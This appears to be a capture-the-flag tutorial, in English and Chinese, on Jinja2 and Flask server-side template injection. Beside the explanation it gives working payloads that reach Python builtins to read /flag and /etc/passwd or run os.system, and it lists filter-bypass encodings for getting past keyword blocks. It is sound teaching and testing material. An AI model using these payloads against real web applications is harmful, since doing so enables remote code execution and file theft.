Python SSTI
Server-Side Template Injection
Prerequisites
- Python 3.11
- PyCharm (Recommended for debugging)
Basics
What is Server Side Template Render
Template Renderers
Mako | Jinja2 | Python (code eval) | Tornado |
---|---|---|---|
Nunjucks | Pug | doT | Marko |
JavaScript (code eval) | EJS | Ruby (code eval) | Slim |
ERB | Smarty | PHP (code eval) | Twig |
Freemarker | Velocity | Twig | Smarty |
Dust |
How to judge
Jinja2
Expression | Description |
---|---|
{{ ... }} | 输出内容 |
{% ... %} | 控制语句 |
{# ... #} | 注释 |
What is SSTI?
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'World')
template = 'Hello, %s!' % name
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
Reglance
render_template_string( "Hello %s" % "World")
render_template_string( "Hello World" )
How about this?
render_template_string(
"Hello %s"
% "{{7*7}}"
)
render_template_string("Hello {{7*7}}")
"Hello 49"
Attack Vectors
How to RCE / Get Flag?
file
(open.read)open('/flag').read()
subprocess.Popen
import subprocess subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE).stdout.read()
os.popen
import os os.popen('ls').read()
exec
exec('print("Hello")')
eval
eval('print("Hello")')
How can we reach that
Class Inheritance
print(dir(...))
classDiagram
class object
object : \__class__
object : \__bases__
object : \__subclasses__()
class builtin_function_or_method
builtin_function_or_method : \__class__
builtin_function_or_method : \__mro__
builtin_function_or_method : \__init__
class module
object <|-- builtin_function_or_method
<!-- 大致带着说有值得注意的继承关系吧
所有的对象都有 __class__ 属性
万物基于 object, 所以 object 有 __bases__ 属性
我们也可以从 object 获取所有的子类来拿到所有的类
__mro__ -1 可以拿到 object
__init__ 是所有的builtin_function_or_method都有的方法
里面包含了 __globals__, 也可以拿到 __builtins__
-->
From object
's subclass
- Get
object
class
''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
- Print all subclasses
object.__subclasses__()
- Get all class
object.__subclasses__()[index]
- Find interesting classes and its globals
object.__subclasses__()[index].__init__.__globals__
- Get
__builtins__
object.__subclasses__()[index].__init__.__globals__['__builtins__']
What's in __builtins__
__builtins__
: commonly used functions and types
eval
: evaluate a string as Python codeexec
: execute a string as Python codeopen
: open a file__import__
: import a moduleos
: operating system functionssubprocess
: spawn new processes
Render Context
Built-in functions
lipsum
url_for
Configs
SECRET_KEY
Filter
filter chain with a variable
variable|filter1|filter2(args)|...
Common Filters
int()
: 将值转换为int类型;float()
: 将值转换为float类型;lower()
: 将字符串转换为小写;upper()
: 将字符串转换为大写;title()
: 把值中的每个单词的首字母都转成大写;capitalize()
: 把变量值的首字母转成大写,其余字母转小写;trim()
: 截取字符串前面和后面的空白字符;wordcount()
: 计算一个长字符串中单词的个数;reverse()
: 字符串反转;replace(value,old,new)
: 替换将old替换为new的字符串;truncate(value,length=255,killwords=False)
: 截取length长度的字符串;striptags()
: 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;escape()或e
: 转义字符,会将<、>等符号转义成HTML中的符号,显例:content|escape或content|e;safe()
: 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例:{{'<em>hello</em>'|safe}}
;list()
: 将变量列成列表;string()
: 将变量转换成字符串;join()
: 将一个序列中的参数值拼接成字符串;abs()
: 返回一个数值的绝对值;first()
: 返回一个序列的第一个元素;last()
: 返回一个序列的最后一个元素;format(value,arags,*kwargs)
: 格式化字符串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}
将输出:Helloo? - Foo!length()
: 返回一个序列或者字典的长度;sum()
: 返回列表内数值的和;sort()
: 返回排序后的列表;default(value,default_value,boolean=false)
: 如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换
Bypass
How can we use
Bypass []
Use `pop`
Use `__getitem__`
{{''.__class__.__mro__[-1].__subclasses__()[40]}}
{{''.__class__.__mro__[-1].__subclasses__().pop(40)}}
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)}}
Bypass .
{{
''.__class__.__base__.__subclasses__.__getitem__(40)
.__init__.__globals__.__getitem__('__builtins__')
.__getitem__('open')('/flag').read()
}}
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()
|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')
|attr('__getitem__')('__builtins__')
|attr('__getitem__')('open')('/flag')
|attr('read')()
}}
Bypass {{ }}
Use {% %}
Bypass ( )
Use function overwriting
request.__class__.__getitem__=__builtins__.exec
Then if we call request['a']
We are actually calling exec('a')
Bypass Keywords
Inject from request parameters
request.args
request.values
request.cookies
are Flask parameters which can be accessed in template
e.g.
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)("/etc/passwd").read()}}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
Get any strings
- Using existed string to get char
{{ ('...'|list()).pop(xxx)|string }}
{{ ({ }|select()|string|list()).pop(xxx)|string }}
- Using
+
to concat
object.__subclasses__()[59].__init__.__globals__.__builtins__['os'].__dict__['system']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
- Using
~
to concat
xhx*2~im~xhx*2
- Using dict to concat
{% set a=dict(o=x,s=xx)|join %}
- Format string
{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
- use
chr
function
{%set chr=[].__class__.__base__.__subclasses__()[xx].__init__.__globals__.__builtins__.chr %}
Other string represent
- Hex
\x41
- Oct
\101
- Unicode
\u0074
- base64
'X19jbGFzc19f'.decode('base64')
python3 - join
"fla".join("/g")
- slice
"glaf"[::-1]
- lower/upper
["__CLASS__"|lower
- format
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
- replace
"__claee__"|replace("ee","ss")
- reverse
"__ssalc__"|reverse
Reload
reload(__builtins__)
Fin.
References